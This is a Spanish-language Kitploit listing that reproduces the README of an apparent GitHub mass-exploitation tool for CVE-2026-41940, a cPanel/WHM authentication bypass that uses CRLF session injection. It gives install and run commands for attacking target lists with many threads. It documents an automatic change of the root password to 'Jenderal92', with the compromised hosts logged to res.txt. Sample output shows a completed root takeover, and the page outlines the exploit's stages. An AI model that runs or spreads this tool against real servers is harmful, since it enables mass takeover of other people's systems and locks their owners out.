Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41940 — Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos. | Kitploit
Herramientas/GitHubGitHub/jenderal92/cve-2026-41940
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónComando y ControlAutenticaciónRed TeamingDesarrollo de Payloads
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

4439hace 4 mesesAún no revisado

Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-41940 - Explotación Masiva de Omisión de Autenticación en WHM/cPanel

43153

📋 Descripción

CVE-2026-41940 es una vulnerabilidad crítica de omisión de autenticación en WHM/cPanel que permite a atacantes eludir la autenticación y obtener acceso root a un servidor sin credenciales válidas. La vulnerabilidad aprovecha la inyección CRLF en el mecanismo de manejo de sesiones para inyectar parámetros de sesión maliciosos.

Esta herramienta proporciona capacidades de explotación masiva con soporte de múltiples hilos para probar múltiples objetivos simultáneamente, con detección inteligente de éxito y filtrado automático de objetivos inválidos.


🎯 Características Principales

CaracterísticaDescripción
✅ Explotación MasivaEscanea y explota múltiples objetivos desde un archivo de lista
🚀 MultihiloNúmero de hilos configurable para escaneo más rápido (predeterminado: 15)
🔐 Cambio Automático de ContraseñaCambia la contraseña de root a Jenderal92 tras una explotación exitosa
🛡️ Detección Inteligente de ÉxitoDetecta automáticamente varios formatos de respuesta de la API de WHM
⚠️ Filtrado de Errores de LicenciaExcluye objetivos con errores de licencia inválida/no se puede leer
📝 Salida EstructuradaGuarda solo los éxitos confirmados en formato `dominio:puerto
🛡️ Soporte SSL/TLSManeja certificados autofirmados automáticamente
🔄 Gestión de SesionesExtracción automática de sesiones, inyección de cookies y manejo de tokens
⏱️ Control de Tiempo de EsperaTiempo de espera de conexión configurable (predeterminado: 15 segundos)
🔍 Verificación Pre-conexiónVerifica la disponibilidad del puerto antes del intento de explotación
📊 Progreso en Tiempo RealMuestra progreso detallado para cada etapa de explotación

📦 Requisitos

  • Python 2.7 (requerido - NO compatible con Python 3.x)
  • Conexión a internet para acceder a los objetivos
  • Paquetes Python requeridos:
pip install requests urllib3 futures

O usar requirements.txt:

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Instalación

# Clonar repositorio
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Instalar dependencias
pip install -r requirements.txt

# Hacer ejecutable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Uso

1. Preparar Archivo de Objetivos

Cree un archivo targets.txt con un objetivo por línea:

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Nota: El puerto 2087 es el puerto predeterminado de WHM. Si no se especifica, se usará automáticamente el puerto 2087. El prefijo HTTP/HTTPS se añadirá automáticamente si falta.

2. Ejecutar el Exploit

Uso Básico (Configuración Predeterminada)

python2 CVE-2026-41940.py targets.txt

Uso Multihilo

# Usar 5 hilos concurrentes
python2 CVE-2026-41940.py targets.txt --threads 5

# Usar 20 hilos para escaneo más rápido
python2 CVE-2026-41940.py targets.txt --threads 20

Nombre de Host Personalizado

# Sobrescribir el encabezado Host para todos los objetivos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Tiempo de Espera Personalizado

# Establecer tiempo de espera a 30 segundos para conexiones lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Argumentos de Línea de Comandos

ArgumentoDescripciónPredeterminadoRequerido
list_fileArchivo que contiene la lista de objetivos (uno por línea)-✅ Sí
--threadsNúmero de hilos concurrentes15❌ No
--hostnameSobrescribe el encabezado Host para todos los objetivosAuto-descubrir❌ No
--timeoutTiempo de espera de conexión en segundos15❌ No

📁 Formato de Salida

Archivo de Resultados (res.txt)

Solo se guardan los éxitos de explotación confirmados. Los objetivos con errores de licencia, cambios de contraseña fallidos o problemas de conexión se excluyen automáticamente.

Formato:

dominio:puerto|root|Jenderal92

Ejemplo de salida:

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Escenarios Excluidos

Los siguientes objetivos NO se guardarán en res.txt:

  • Errores de licencia (Cannot Read License File)
  • Cambios de contraseña fallidos
  • Tiempos de espera de conexión o rechazos
  • Servidores parcheados/sin WHM
  • Credenciales incorrectas o fallos de sesión

Salida en Consola

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Cargados 4 objetivos
[*] Iniciando exploit con 10 hilos...
[*] Tiempo de espera: 15 segundos
[*] Nota: http:// se añadirá automáticamente si falta
[*] SOLO los objetivos con cambios de contraseña confirmados se guardarán en res.txt
[*] Los objetivos con errores de licencia, problemas de conexión o cambios de contraseña fallidos serán EXCLUIDOS

==================================================

[*] Verificando objetivo: 127.0.0.1
    Entrada original: 127.0.0.1
    Normalizado: https://127.0.0.1:2087
    Puerto 2087: ABIERTO
    Probando conexión... OK (HTTP 200)

[0] hostname = example.com
[1] creando una sesión de preautenticación...
    base de sesión = :d5nPe99Nx9HQdMu2
[2] enviando la inyección CRLF...
    HTTP 307, token filtrado = /cpsess0488087910
[3] ejecutando do_token_denied para propagar...
    HTTP 401, gadget disparado
[4] verificando que somos root de WHM...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] intentando cambiar la contraseña de root
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Cambio de contraseña confirmado (metadata.result=1)
[+] ✓ Contraseña de root cambiada exitosamente a 'Jenderal92'!

[✓] ÉXITO Y GUARDADO: 127.0.0.1:2087
    Guardado en res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] ¡Escaneo completado!
[*] Objetivos con contraseñas cambiadas exitosamente: 1 de 4

[+] Resultados guardados en res.txt

Objetivos explotados exitosamente (contraseña cambiada a Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Cómo Funciona el Exploit

El exploit consta de 4 etapas principales con verificación inteligente:

Etapa 1: Sesión de Preautenticación

[1] creando una sesión de preautenticación...
  • Envía una solicitud POST a /login/?login_only=1 con credenciales inválidas
  • Recupera la cookie whostmgrsession de la respuesta del servidor
  • Extrae la base de la sesión eliminando la parte final ,<obhex>
  • Esto nos da un formato de sesión válido con el que trabajar
Descargar herramienta